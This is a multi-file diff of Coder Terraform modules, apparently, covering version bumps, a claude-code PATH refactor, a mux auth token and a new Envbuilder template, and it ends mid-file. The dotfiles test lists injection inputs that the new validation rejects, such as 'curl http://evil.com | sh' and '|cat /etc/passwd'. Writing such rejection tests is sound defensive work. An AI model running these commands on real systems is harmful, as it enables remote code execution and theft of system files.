-      CLAUDE_BIN=$(command -v claude)
-    elif [ -x "$ARG_CLAUDE_BINARY_PATH/claude" ]; then
-      CLAUDE_BIN="$ARG_CLAUDE_BINARY_PATH/claude"
-    elif [ -x "$HOME/.local/bin/claude" ]; then
-      CLAUDE_BIN="$HOME/.local/bin/claude"
-    fi
+  local CLAUDE_DIR
+  CLAUDE_DIR=$(dirname "$CLAUDE_BIN")

-    if [ -n "$CLAUDE_BIN" ] && [ -x "$CLAUDE_BIN" ]; then
-      ln -s "$CLAUDE_BIN" "$CODER_SCRIPT_BIN_DIR/claude"
-      echo "Created symlink: $CODER_SCRIPT_BIN_DIR/claude -> $CLAUDE_BIN"
-    else
-      echo "Warning: Could not find claude binary to symlink"
-    fi
-  else
-    echo "Claude already available in CODER_SCRIPT_BIN_DIR"
+  if [ -n "${CODER_SCRIPT_BIN_DIR:-}" ] && [ ! -e "$CODER_SCRIPT_BIN_DIR/claude" ]; then
+    ln -s "$CLAUDE_BIN" "$CODER_SCRIPT_BIN_DIR/claude"
+    echo "Created symlink: $CODER_SCRIPT_BIN_DIR/claude -> $CLAUDE_BIN"
  fi

-  local marker="# Added by claude-code module"
-  for profile in "$HOME/.bashrc" "$HOME/.zshrc" "$HOME/.profile"; do
-    if [ -f "$profile" ] && ! grep -q "$marker" "$profile" 2> /dev/null; then
-      printf "\n%s\nexport PATH=\"%s:\$PATH\"\n" "$marker" "$CODER_SCRIPT_BIN_DIR" >> "$profile"
-      echo "Added $CODER_SCRIPT_BIN_DIR to PATH in $profile"
-    fi
-  done
+  add_path_to_shell_profiles "$CLAUDE_DIR"
 }

 function install_claude_code_cli() {
@@ -2,6 +2,12 @@

 set -euo pipefail

+ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
+ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
+ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
+
+export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
+
 command_exists() {
  command -v "$1" > /dev/null 2>&1
 }
@@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/
 module "dotfiles" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/dotfiles/coder"
-  version  = "1.2.3"
+  version  = "1.3.0"
  agent_id = coder_agent.example.id
 }
 ```
@@ -31,7 +31,7 @@ module "dotfiles" {
 module "dotfiles" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/dotfiles/coder"
-  version  = "1.2.3"
+  version  = "1.3.0"
  agent_id = coder_agent.example.id
 }
 ```
@@ -42,7 +42,7 @@ module "dotfiles" {
 module "dotfiles" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/dotfiles/coder"
-  version  = "1.2.3"
+  version  = "1.3.0"
  agent_id = coder_agent.example.id
  user     = "root"
 }
@@ -54,14 +54,14 @@ module "dotfiles" {
 module "dotfiles" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/dotfiles/coder"
-  version  = "1.2.3"
+  version  = "1.3.0"
  agent_id = coder_agent.example.id
 }

 module "dotfiles-root" {
  count        = data.coder_workspace.me.start_count
  source       = "registry.coder.com/coder/dotfiles/coder"
-  version      = "1.2.3"
+  version      = "1.3.0"
  agent_id     = coder_agent.example.id
  user         = "root"
  dotfiles_uri = module.dotfiles.dotfiles_uri
@@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_
 module "dotfiles" {
  count                = data.coder_workspace.me.start_count
  source               = "registry.coder.com/coder/dotfiles/coder"
-  version              = "1.2.3"
+  version              = "1.3.0"
  agent_id             = coder_agent.example.id
  default_dotfiles_uri = "https://github.com/coder/dotfiles"
 }
@@ -12,20 +12,47 @@ describe("dotfiles", async () => {
    agent_id: "foo",
  });

-  it("default output", async () => {
+  it("default output is empty string", async () => {
    const state = await runTerraformApply(import.meta.dir, {
      agent_id: "foo",
    });
    expect(state.outputs.dotfiles_uri.value).toBe("");
  });

-  it("set a default dotfiles_uri", async () => {
-    const default_dotfiles_uri = "foo";
-    const state = await runTerraformApply(import.meta.dir, {
-      agent_id: "foo",
-      default_dotfiles_uri,
-    });
-    expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri);
+  it("accepts valid git URL formats", async () => {
+    const validUrls = [
+      "https://github.com/coder/dotfiles",
+      "https://github.com/coder/dotfiles.git",
+      "git@github.com:coder/dotfiles.git",
+      "git://github.com/coder/dotfiles.git",
+      "ssh://git@github.com/coder/dotfiles.git",
+    ];
+    for (const url of validUrls) {
+      const state = await runTerraformApply(import.meta.dir, {
+        agent_id: "foo",
+        dotfiles_uri: url,
+      });
+      expect(state.outputs.dotfiles_uri.value).toBe(url);
+    }
+  });
+
+  it("rejects invalid or malicious URLs", async () => {
+    const invalidUrls = [
+      "https://github.com/user/repo; curl http://evil.com | sh",
+      "https://github.com/$(whoami)/repo",
+      "https://github.com/`id`/repo",
+      "https://github.com/user/repo|cat /etc/passwd",
+      "file:///etc/passwd",
+      "not-a-valid-url",
+    ];
+    for (const url of invalidUrls) {
+      await expect(
+        runTerraformApply(import.meta.dir, {
+          agent_id: "foo",
+          dotfiles_uri: url,
+        }),
+      ).rejects.toThrow();
+    }
  });

  it("set custom order for coder_parameter", async () => {
@@ -36,19 +36,40 @@ variable "default_dotfiles_uri" {
  type        = string
  description = "The default dotfiles URI if the workspace user does not provide one"
  default     = ""
+
+  validation {
+    condition = (
+      var.default_dotfiles_uri == "" ||
+      can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.default_dotfiles_uri))
+    )
+    error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
+  }
 }

 variable "dotfiles_uri" {
  type        = string
  description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)"
+  default     = null

-  default = null
+  validation {
+    condition = (
+      var.dotfiles_uri == null ||
+      var.dotfiles_uri == "" ||
+      can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.dotfiles_uri))
+    )
+    error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
+  }
 }

 variable "user" {
  type        = string
  description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)"
  default     = null
+
+  validation {
+    condition     = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user))
+    error_message = "Must be a valid username without special characters."
+  }
 }

 variable "coder_parameter_order" {
@@ -63,6 +84,12 @@ variable "manual_update" {
  default     = false
 }

+variable "post_clone_script" {
+  description = "Custom script to run after applying dotfiles. Runs every time, even if dotfiles were already applied."
+  type        = string
+  default     = null
+}
+
 data "coder_parameter" "dotfiles_uri" {
  count        = var.dotfiles_uri == null ? 1 : 0
  type         = "string"
@@ -73,18 +100,25 @@ data "coder_parameter" "dotfiles_uri" {
  description  = var.description
  mutable      = true
  icon         = "/icon/dotfiles.svg"
+
+  validation {
+    regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$"
+    error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
+  }
 }

 locals {
-  dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value
-  user         = var.user != null ? var.user : ""
+  dotfiles_uri              = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value
+  user                      = var.user != null ? var.user : ""
+  encoded_post_clone_script = var.post_clone_script != null ? base64encode(var.post_clone_script) : ""
 }

 resource "coder_script" "dotfiles" {
  agent_id = var.agent_id
  script = templatefile("${path.module}/run.sh", {
    DOTFILES_URI : local.dotfiles_uri,
-    DOTFILES_USER : local.user
+    DOTFILES_USER : local.user,
+    POST_CLONE_SCRIPT : local.encoded_post_clone_script
  })
  display_name = "Dotfiles"
  icon         = "/icon/dotfiles.svg"
@@ -101,7 +135,8 @@ resource "coder_app" "dotfiles" {
  group        = var.group
  command = templatefile("${path.module}/run.sh", {
    DOTFILES_URI : local.dotfiles_uri,
-    DOTFILES_USER : local.user
+    DOTFILES_USER : local.user,
+    POST_CLONE_SCRIPT : local.encoded_post_clone_script
  })
 }

@@ -5,6 +5,19 @@ set -euo pipefail
 DOTFILES_URI="${DOTFILES_URI}"
 DOTFILES_USER="${DOTFILES_USER}"

+# Validate DOTFILES_URI to prevent command injection (defense in depth)
+if [ -n "$DOTFILES_URI" ]; then
+  # shellcheck disable=SC2250
+  if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then
+    echo "ERROR: DOTFILES_URI contains invalid characters" >&2
+    exit 1
+  fi
+  if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then
+    echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2
+    exit 1
+  fi
+fi
+
 # shellcheck disable=SC2157
 if [ -n "$${DOTFILES_URI// }" ]; then
  if [ -z "$DOTFILES_USER" ]; then
@@ -16,12 +29,28 @@ if [ -n "$${DOTFILES_URI// }" ]; then
  if [ "$DOTFILES_USER" = "$USER" ]; then
    coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log
  else
-    # The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280
-    # eval echo ~coder -> "/home/coder"
-    # eval echo ~root  -> "/root"
+    if command -v getent > /dev/null 2>&1; then
+      DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6)
+    else
+      DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd)
+    fi
+    if [ -z "$DOTFILES_USER_HOME" ]; then
+      echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2
+      exit 1
+    fi

-    CODER_BIN=$(which coder)
-    DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER")
-    sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log"
+    CODER_BIN=$(command -v coder)
+    sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log"
  fi
 fi
+
+POST_CLONE_SCRIPT="${POST_CLONE_SCRIPT}"
+
+if [ -n "$POST_CLONE_SCRIPT" ]; then
+  echo "Running post-clone script..."
+  POST_CLONE_TMP=$(mktemp)
+  echo "$POST_CLONE_SCRIPT" | base64 -d > "$POST_CLONE_TMP"
+  chmod +x "$POST_CLONE_TMP"
+  $POST_CLONE_TMP
+  rm "$POST_CLONE_TMP"
+fi
@@ -14,7 +14,7 @@ Runs a script that updates git credentials in the workspace to match the user's
 module "git-config" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/git-config/coder"
-  version  = "1.0.32"
+  version  = "1.0.33"
  agent_id = coder_agent.main.id
 }
 ```
@@ -29,7 +29,7 @@ TODO: Add screenshot
 module "git-config" {
  count              = data.coder_workspace.me.start_count
  source             = "registry.coder.com/coder/git-config/coder"
-  version            = "1.0.32"
+  version            = "1.0.33"
  agent_id           = coder_agent.main.id
  allow_email_change = true
 }
@@ -43,7 +43,7 @@ TODO: Add screenshot
 module "git-config" {
  count                 = data.coder_workspace.me.start_count
  source                = "registry.coder.com/coder/git-config/coder"
-  version               = "1.0.32"
+  version               = "1.0.33"
  agent_id              = coder_agent.main.id
  allow_username_change = false
  allow_email_change    = false
@@ -44,6 +44,9 @@ data "coder_parameter" "user_email" {
  description  = "Git user.email to be used for commits. Leave empty to default to Coder user's email."
  display_name = "Git config user.email"
  mutable      = true
+  styling = jsonencode({
+    placeholder = data.coder_workspace_owner.me.email
+  })
 }

 data "coder_parameter" "username" {
@@ -55,6 +58,9 @@ data "coder_parameter" "username" {
  description  = "Git user.name to be used for commits. Leave empty to default to Coder user's Full Name."
  display_name = "Full Name for Git config"
  mutable      = true
+  styling = jsonencode({
+    placeholder = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
+  })
 }

 resource "coder_env" "git_author_name" {
@@ -42,7 +42,7 @@ module "jetbrains" {
  version  = "1.3.0"
  agent_id = coder_agent.main.id
  folder   = "/home/coder/project"
-  default  = ["PY", "IU"] # Pre-configure GoLand and IntelliJ IDEA
+  default  = ["PY", "IU"] # Pre-configure PyCharm and IntelliJ IDEA
 }
 ```

@@ -16,7 +16,7 @@ A module that adds JupyterLab in your Coder template.
 module "jupyterlab" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/jupyterlab/coder"
-  version  = "1.2.1"
+  version  = "1.2.2"
  agent_id = coder_agent.main.id
 }
 ```
@@ -29,7 +29,7 @@ JupyterLab is automatically configured to work with Coder's iframe embedding. Fo
 module "jupyterlab" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/jupyterlab/coder"
-  version  = "1.2.1"
+  version  = "1.2.2"
  agent_id = coder_agent.main.id
  config = {
    ServerApp = {
@@ -77,7 +77,7 @@ describe("jupyterlab", async () => {
    expect(output.exitCode).toBe(1);
    expect(output.stdout).toEqual([
      "Checking for a supported installer",
-      "No valid installer is not installed",
+      "No supported installer found.",
      "Please install pipx or uv in your Dockerfile/VM image before running this script",
    ]);
  });
@@ -14,7 +14,7 @@ check_available_installer() {
    INSTALLER="uv"
    return
  fi
-  echo "No valid installer is not installed"
+  echo "No supported installer found."
  echo "Please install pipx or uv in your Dockerfile/VM image before running this script"
  exit 1
 }
@@ -14,7 +14,7 @@ Automatically install [KasmVNC](https://kasmweb.com/kasmvnc) in a workspace, and
 module "kasmvnc" {
  count               = data.coder_workspace.me.start_count
  source              = "registry.coder.com/coder/kasmvnc/coder"
-  version             = "1.2.7"
+  version             = "1.3.0"
  agent_id            = coder_agent.example.id
  desktop_environment = "xfce"
  subdomain           = true
@@ -54,6 +54,15 @@ variable "subdomain" {
  description = "Is subdomain sharing enabled in your cluster?"
 }

+variable "share" {
+  type    = string
+  default = "owner"
+  validation {
+    condition     = var.share == "owner" || var.share == "authenticated" || var.share == "public"
+    error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'."
+  }
+}
+
 resource "coder_script" "kasm_vnc" {
  agent_id     = var.agent_id
  display_name = "KasmVNC"
@@ -75,7 +84,7 @@ resource "coder_app" "kasm_vnc" {
  url          = "http://localhost:${var.port}"
  icon         = "/icon/kasmvnc.svg"
  subdomain    = var.subdomain
-  share        = "owner"
+  share        = var.share
  order        = var.order
  group        = var.group

@@ -14,7 +14,7 @@ Automatically install and run [Mux](https://github.com/coder/mux) in a Coder wor
 module "mux" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/mux/coder"
-  version  = "1.0.8"
+  version  = "1.1.0"
  agent_id = coder_agent.main.id
 }
 ```
@@ -37,7 +37,7 @@ module "mux" {
 module "mux" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/mux/coder"
-  version  = "1.0.8"
+  version  = "1.1.0"
  agent_id = coder_agent.main.id
 }
 ```
@@ -48,7 +48,7 @@ module "mux" {
 module "mux" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/mux/coder"
-  version  = "1.0.8"
+  version  = "1.1.0"
  agent_id = coder_agent.main.id
  # Default is "latest"; set to a specific version to pin
  install_version = "0.4.0"
@@ -63,7 +63,7 @@ Start Mux with `mux server --add-project /path/to/project`:
 module "mux" {
  count       = data.coder_workspace.me.start_count
  source      = "registry.coder.com/coder/mux/coder"
-  version     = "1.0.8"
+  version     = "1.1.0"
  agent_id    = coder_agent.main.id
  add-project = "/path/to/project"
 }
@@ -75,7 +75,7 @@ module "mux" {
 module "mux" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/mux/coder"
-  version  = "1.0.8"
+  version  = "1.1.0"
  agent_id = coder_agent.main.id
  port     = 8080
 }
@@ -89,7 +89,7 @@ Run an existing copy of Mux if found, otherwise install from npm:
 module "mux" {
  count      = data.coder_workspace.me.start_count
  source     = "registry.coder.com/coder/mux/coder"
-  version    = "1.0.8"
+  version    = "1.1.0"
  agent_id   = coder_agent.main.id
  use_cached = true
 }
@@ -103,7 +103,7 @@ Run without installing from the network (requires Mux to be pre-installed):
 module "mux" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/mux/coder"
-  version  = "1.0.8"
+  version  = "1.1.0"
  agent_id = coder_agent.main.id
  install  = false
 }
@@ -7,6 +7,10 @@ terraform {
      source  = "coder/coder"
      version = ">= 2.5"
    }
+    random = {
+      source  = "hashicorp/random"
+      version = ">= 3.0"
+    }
  }
 }

@@ -113,6 +117,22 @@ variable "open_in" {
  }
 }

+# Per-module auth token for cross-site request protection.
+# We pass this token into each mux process at launch time (process-scoped env)
+# and include it in the app URL query string (?token=...).
+#
+# Why process-scoped env instead of a shared coder_env value:
+# multiple mux module instances can target the same agent (different slug/port).
+# A single global MUX_SERVER_AUTH_TOKEN env key would cause collisions.
+resource "random_password" "mux_auth_token" {
+  length  = 64
+  special = false
+}
+
+locals {
+  mux_auth_token = random_password.mux_auth_token.result
+}
+
 resource "coder_script" "mux" {
  agent_id     = var.agent_id
  display_name = var.display_name
@@ -125,6 +145,7 @@ resource "coder_script" "mux" {
    INSTALL_PREFIX : var.install_prefix,
    OFFLINE : !var.install,
    USE_CACHED : var.use_cached,
+    AUTH_TOKEN : local.mux_auth_token,
  })
  run_on_start = true

@@ -140,7 +161,7 @@ resource "coder_app" "mux" {
  agent_id     = var.agent_id
  slug         = var.slug
  display_name = var.display_name
-  url          = "http://localhost:${var.port}"
+  url          = "http://localhost:${var.port}?token=${local.mux_auth_token}"
  icon         = "/icon/mux.svg"
  subdomain    = var.subdomain
  share        = var.share
@@ -154,5 +175,3 @@ resource "coder_app" "mux" {
    threshold = 6
  }
 }
-
-
@@ -20,8 +20,10 @@ run "install_false_and_use_cached_conflict" {
  ]
 }

+# Needs command = apply because the URL contains random_password.result,
+# which is unknown during plan.
 run "custom_port" {
-  command = plan
+  command = apply

  variables {
    agent_id = "foo"
@@ -29,8 +31,51 @@ run "custom_port" {
  }

  assert {
-    condition     = resource.coder_app.mux.url == "http://localhost:8080"
-    error_message = "coder_app URL must use the configured port"
+    condition     = startswith(resource.coder_app.mux.url, "http://localhost:8080?token=")
+    error_message = "coder_app URL must use the configured port and include auth token"
+  }
+
+  assert {
+    condition     = trimprefix(resource.coder_app.mux.url, "http://localhost:8080?token=") == random_password.mux_auth_token.result
+    error_message = "URL token must match the generated auth token"
+  }
+}
+
+# Needs command = apply because random_password.result is unknown during plan.
+run "auth_token_in_server_script" {
+  command = apply
+
+  variables {
+    agent_id = "foo"
+  }
+
+  assert {
+    condition     = strcontains(resource.coder_script.mux.script, "MUX_SERVER_AUTH_TOKEN=")
+    error_message = "mux launch script must set MUX_SERVER_AUTH_TOKEN"
+  }
+
+  assert {
+    condition     = strcontains(resource.coder_script.mux.script, random_password.mux_auth_token.result)
+    error_message = "mux launch script must use the generated auth token"
+  }
+}
+
+# Needs command = apply because random_password.result is unknown during plan.
+run "auth_token_in_url" {
+  command = apply
+
+  variables {
+    agent_id = "foo"
+  }
+
+  assert {
+    condition     = startswith(resource.coder_app.mux.url, "http://localhost:4000?token=")
+    error_message = "coder_app URL must include auth token query parameter"
+  }
+
+  assert {
+    condition     = trimprefix(resource.coder_app.mux.url, "http://localhost:4000?token=") == random_password.mux_auth_token.result
+    error_message = "URL token must match the generated auth token"
  }
 }

@@ -62,5 +107,3 @@ run "use_cached_only_success" {
    use_cached = true
  }
 }
-
-
@@ -9,7 +9,9 @@ function run_mux() {
  rm -f "$HOME/.mux/server.lock"

  local port_value
+  local auth_token_value
  port_value="${PORT}"
+  auth_token_value="${AUTH_TOKEN}"
  if [ -z "$port_value" ]; then
    port_value="4000"
  fi
@@ -20,7 +22,7 @@ function run_mux() {
  fi
  echo "🚀 Starting mux server on port $port_value..."
  echo "Check logs at ${LOG_PATH}!"
-  PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 &
+  MUX_SERVER_AUTH_TOKEN="$auth_token_value" PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 &
 }

 # Check if mux is already installed for offline mode
@@ -27,8 +27,21 @@ This template provisions the following resources:

 - Azure VM (ephemeral, deleted on stop)
 - Managed disk (persistent, mounted to `/home/coder`)
+- Resource group, virtual network, subnet, and network interface (persistent, required by the managed disk and VM)

-This means, when the workspace restarts, any tools or files outside of the home directory are not persisted. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.
+### What happens on stop
+
+When a workspace is **stopped**, only the VM is destroyed. The managed disk, resource group, virtual network, subnet, and network interface all persist. This is by design — the managed disk retains your `/home/coder` data across workspace restarts, and the other resources remain because the disk depends on them.
+
+This means you will see these Azure resources in your subscription even when a workspace is stopped. This is expected behavior.
+
+### What happens on delete
+
+When a workspace is **deleted**, all resources are destroyed, including the resource group, networking resources, and managed disk.
+
+### Workspace restarts
+
+Since the VM is ephemeral, any tools or files outside of the home directory are not persisted across restarts. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.

 > [!NOTE]
 > This template is designed to be a starting point! Edit the Terraform to extend the template to support your use case.
@@ -0,0 +1,76 @@
+---
+display_name: Docker (Envbuilder)
+description: Provision envbuilder containers as Coder workspaces
+icon: ../../../../.icons/docker.svg
+verified: true
+tags: [container, docker, devcontainer, envbuilder]
+---
+
+# Remote Development on Docker Containers (with Envbuilder)
+
+Provision Envbuilder containers based on `devcontainer.json` as [Coder workspaces](https://coder.com/docs/workspaces) in Docker with this example template.
+
+## Prerequisites
+
+### Infrastructure
+
+Coder must have access to a running Docker socket, and the `coder` user must be a member of the `docker` group:
+
+```shell
+# Add coder user to Docker group
+sudo usermod -aG docker coder
+
+# Restart Coder server
+sudo systemctl restart coder
+
+# Test Docker
+sudo -u coder docker ps
+```
+
+## Architecture
+
+Coder supports Envbuilder containers based on `devcontainer.json` via [envbuilder](https://github.com/coder/envbuilder), an open source project. Read more about this in [Coder's documentation](https://coder.com/docs/templates/dev-containers).
+
+This template provisions the following resources:
+
+- Envbuilder cached image (conditional, persistent) using [`terraform-provider-envbuilder`](https://github.com/coder/terraform-provider-envbuilder)
+- Docker image (persistent) using [`envbuilder`](https://github.com/coder/envbuilder)
+- Docker container (ephemeral)
+- Docker volume (persistent on `/workspaces`)
+
+The Git repository is cloned inside the `/workspaces` volume if not present.
+Any local changes to the Devcontainer files inside the volume will be applied when you restart the workspace.
+Keep in mind that any tools or files outside of `/workspaces` or not added as part of the Devcontainer specification are not persisted.
+Edit the `devcontainer.json` instead!
+
+> **Note**
+> This template is designed to be a starting point! Edit the Terraform to extend the template to support your use case.
+
+## Docker-in-Docker
+
+See the [Envbuilder documentation](https://github.com/coder/envbuilder/blob/main/docs/docker.md) for information on running Docker containers inside an Envbuilder container.
+
+## Caching
+
+To speed up your builds, you can use a container registry as a cache.
+When creating the template, set the parameter `cache_repo` to a valid Docker repository.
+
+For example, you can run a local registry:
+
+```shell
+docker run --detach \
+  --volume registry-cache:/var/lib/registry \
+  --publish 5000:5000 \
+  --name registry-cache \
+  --net=host \
+  registry:2
+```
+
+Then, when creating the template, enter `localhost:5000/envbuilder-cache` for the parameter `cache_repo`.
+
+See the [Envbuilder Terraform Provider Examples](https://github.com/coder/terraform-provider-envbuilder/blob/main/examples/resources/envbuilder_cached_image/envbuilder_cached_image_resource.tf/) for a more complete example of how the provider works.
+
+> [!NOTE]
+> We recommend using a registry cache with authentication enabled.
+> To allow Envbuilder to authenticate with the registry cache, specify the variable `cache_repo_docker_config_path`
+> with the path to a Docker config `.json` on disk containing valid credentials for the registry.
@@ -0,0 +1,362 @@
+terraform {
+  required_providers {
+    coder = {
+      source  = "coder/coder"
+      version = "~> 2.0"
+    }
+    docker = {
+      source = "kreuzwerker/docker"
+    }
+    envbuilder = {
+      source = "coder/envbuilder"
+    }
+  }
+}
+
+variable "docker_socket" {
+  default     = ""
+  description = "(Optional) Docker socket URI"
+  type        = string
+}
+
+provider "coder" {}
+provider "docker" {
+  # Defaulting to null if the variable is an empty string lets us have an optional variable without having to set our own default
+  host = var.docker_socket != "" ? var.docker_socket : null
+}
+provider "envbuilder" {}
+
+data "coder_provisioner" "me" {}
+data "coder_workspace" "me" {}
+data "coder_workspace_owner" "me" {}
+
+data "coder_parameter" "repo" {
+  description  = "Select a repository to automatically clone and start working with a devcontainer."
+  display_name = "Repository (auto)"
+  mutable      = true
+  name         = "repo"
+  option {
+    name        = "vercel/next.js"
+    description = "The React Framework"
+    value       = "https://github.com/vercel/next.js"
+  }
+  option {
+    name        = "home-assistant/core"
+    description = "🏡 Open source home automation that puts local control and privacy first."
+    value       = "https://github.com/home-assistant/core"
+  }
+  option {
+    name        = "discourse/discourse"
+    description = "A platform for community discussion. Free, open, simple."
+    value       = "https://github.com/discourse/discourse"
+  }
+  option {
+    name        = "denoland/deno"
+    description = "A modern runtime for JavaScript and TypeScript."
+    value       = "https://github.com/denoland/deno"
+  }
+  option {
+    name        = "microsoft/vscode"
+    icon        = "/icon/code.svg"
+    description = "Code editing. Redefined."
+    value       = "https://github.com/microsoft/vscode"
+  }
+  option {
+    name        = "Custom"
+    icon        = "/emojis/1f5c3.png"
+    description = "Specify a custom repo URL below"
+    value       = "custom"
+  }
+  order = 1
+}
+
+data "coder_parameter" "custom_repo_url" {
+  default      = ""
+  description  = "Optionally enter a custom repository URL, see [awesome-devcontainers](https://github.com/manekinekko/awesome-devcontainers)."
+  display_name = "Repository URL (custom)"
+  name         = "custom_repo_url"
+  mutable      = true
+  order        = 2
+}
+
+data "coder_parameter" "fallback_image" {
+  default      = "codercom/enterprise-base:ubuntu"
+  description  = "This image runs if the devcontainer fails to build."
+  display_name = "Fallback Image"
+  mutable      = true
+  name         = "fallback_image"
+  order        = 3
+}
+
+data "coder_parameter" "devcontainer_builder" {
+  description  = <<-EOF
+Image that will build the devcontainer.
+We highly recommend using a specific release as the `:latest` tag will change.
+Find the latest version of Envbuilder here: https://github.com/coder/envbuilder/pkgs/container/envbuilder
+EOF
+  display_name = "Devcontainer Builder"
+  mutable      = true
+  name         = "devcontainer_builder"
+  default      = "ghcr.io/coder/envbuilder:latest"
+  order        = 4
+}
+
+variable "cache_repo" {
+  default     = ""
+  description = "(Optional) Use a container registry as a cache to speed up builds."
+  type        = string
+}
+
+variable "insecure_cache_repo" {
+  default     = false
+  description = "Enable this option if your cache registry does not serve HTTPS."
+  type        = bool
+}
+
+variable "cache_repo_docker_config_path" {
+  default     = ""
+  description = "(Optional) Path to a docker config.json containing credentials to the provided cache repo, if required."
+  sensitive   = true
+  type        = string
+}
+
+locals {
+  container_name             = "coder-${data.coder_workspace_owner.me.name}-${lower(data.coder_workspace.me.name)}"
+  devcontainer_builder_image = data.coder_parameter.devcontainer_builder.value
+  git_author_name            = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
+  git_author_email           = data.coder_workspace_owner.me.email
+  repo_url                   = data.coder_parameter.repo.value == "custom" ? data.coder_parameter.custom_repo_url.value : data.coder_parameter.repo.value
+  # The envbuilder provider requires a key-value map of environment variables.
+  envbuilder_env = {
+    # ENVBUILDER_GIT_URL and ENVBUILDER_CACHE_REPO will be overridden by the provider
+    # if the cache repo is enabled.
+    "ENVBUILDER_GIT_URL" : local.repo_url,
+    "ENVBUILDER_CACHE_REPO" : var.cache_repo,
+    "CODER_AGENT_TOKEN" : coder_agent.main.token,
+    # Use the docker gateway if the access URL is 127.0.0.1
+    "CODER_AGENT_URL" : replace(data.coder_workspace.me.access_url, "/localhost|127\\.0\\.0\\.1/", "host.docker.internal"),
+    # Use the docker gateway if the access URL is 127.0.0.1
+    "ENVBUILDER_INIT_SCRIPT" : replace(coder_agent.main.init_script, "/localhost|127\\.0\\.0\\.1/", "host.docker.internal"),
+    "ENVBUILDER_FALLBACK_IMAGE" : data.coder_parameter.fallback_image.value,
+    "ENVBUILDER_DOCKER_CONFIG_BASE64" : try(data.local_sensitive_file.cache_repo_dockerconfigjson[0].content_base64, ""),
+    "ENVBUILDER_PUSH_IMAGE" : var.cache_repo == "" ? "" : "true",
+    "ENVBUILDER_INSECURE" : "${var.insecure_cache_repo}",
+  }
+  # Convert the above map to the format expected by the docker provider.
+  docker_env = [
+    for k, v in local.envbuilder_env : "${k}=${v}"
+  ]
+}
+
+data "local_sensitive_file" "cache_repo_dockerconfigjson" {
+  count    = var.cache_repo_docker_config_path == "" ? 0 : 1
+  filename = var.cache_repo_docker_config_path
+}
+
+resource "docker_image" "devcontainer_builder_image" {
+  name         = local.devcontainer_builder_image
+  keep_locally = true
+}
+
+resource "docker_volume" "workspaces" {
+  name = "coder-${data.coder_workspace.me.id}"
+  # Protect the volume from being deleted due to changes in attributes.
+  lifecycle {
+    ignore_changes = all
+  }
+  # Add labels in Docker to keep track of orphan resources.
+  labels {
+    label = "coder.owner"
+    value = data.coder_workspace_owner.me.name
+  }
+  labels {
+    label = "coder.owner_id"
+    value = data.coder_workspace_owner.me.id
+  }
+  labels {
+    label = "coder.workspace_id"
